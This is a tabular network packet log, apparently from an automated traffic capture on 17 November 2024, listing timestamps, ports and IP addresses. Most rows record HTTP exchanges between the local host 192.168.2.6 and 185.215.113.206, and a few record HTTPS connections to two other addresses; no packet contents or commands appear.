Nov 17, 2024 10:07:41.964953899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964965105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964982986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965008974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965114117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965125084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965135098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965154886 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965154886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965171099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965182066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965186119 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965218067 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965219021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965231895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965239048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965251923 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965260029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965264082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965276003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965276003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965291977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965296030 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965310097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.965313911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965337038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.965362072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966449976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966465950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966478109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966490984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966500044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966504097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966516972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966521978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966528893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966541052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966552973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966559887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966564894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966573954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966578007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966589928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966595888 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966602087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966614008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966624975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966624975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966638088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966648102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966654062 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.966666937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.966690063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.999341011 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:42.004106045 CET	49984	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.004151106 CET	443	49984	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:42.004240036 CET	49984	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.004740000 CET	49984	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.004759073 CET	443	49984	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:42.009577990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.009593964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.009605885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.009618998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.009650946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.009687901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.009704113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077306986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077339888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077359915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077373028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077383995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077397108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077397108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077426910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077430010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077440023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077440977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077452898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077487946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077503920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077600956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077621937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077641010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077657938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077661037 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077670097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077682018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077682972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077702045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077712059 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077713013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077725887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077738047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077744007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077755928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077759027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077766895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077780008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077783108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077790976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077801943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077811003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077815056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077826977 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077832937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077837944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077847004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077852011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077863932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077867031 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077879906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077892065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077900887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077912092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077919960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077924013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077936888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077948093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077949047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077959061 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.077960968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077980995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.077989101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078001022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078003883 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078013897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078026056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078027964 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078047991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078048944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078063011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078071117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078074932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078088999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078099966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078100920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078111887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078129053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078149080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078181982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078192949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078202963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078224897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078243971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078284025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078295946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078318119 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078322887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078336954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078340054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078351021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078357935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078380108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078392029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078407049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078418016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078429937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078442097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078444958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078455925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078461885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078465939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078474045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078488111 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078490019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078502893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078514099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078516006 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078536034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078553915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078591108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078603983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078614950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078624964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078644037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078649044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078655005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078663111 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078666925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078687906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078691006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078699112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078710079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078712940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078720093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078732014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078741074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078752995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078761101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078763962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078773022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078775883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078788996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078800917 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078808069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078819036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078828096 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078831911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078841925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078845978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078864098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078869104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078876019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078888893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078897953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078912020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078938961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.078949928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078963041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078974009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078985929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.078995943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079036951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079065084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079076052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079087019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079101086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079112053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079112053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079123020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079158068 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079183102 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079200983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079216003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079221964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079227924 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079236031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079256058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079256058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079269886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079281092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079281092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079293966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079305887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079305887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079340935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079350948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079401016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079412937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079425097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079449892 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079471111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079474926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079483032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079495907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079518080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079526901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079538107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079543114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079567909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079577923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079592943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079605103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079616070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079638004 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079639912 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079639912 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079649925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079659939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079665899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079684973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079688072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079688072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079698086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079704046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079710960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079720974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079730034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079741001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079741955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079767942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079792023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079874992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079886913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079899073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079912901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079922915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079929113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079943895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079951048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079957962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079965115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079968929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079988956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.079997063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.079999924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080012083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080023050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080023050 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080034018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080034971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080055952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080064058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080068111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080080032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080091953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080094099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080102921 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080110073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080122948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080137968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080156088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080158949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080243111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080245018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080254078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080281973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080291986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080292940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080305099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080317020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080327988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080334902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080343008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080349922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080375910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080390930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080396891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080404043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080415964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080440998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080442905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080456972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080466032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080466986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080481052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080492973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080499887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080513954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080526114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080529928 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080543995 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080566883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080570936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080579996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080593109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080621004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080634117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.080697060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.080707073 CET	80	49892	185.215.113.206	192.168.2.6
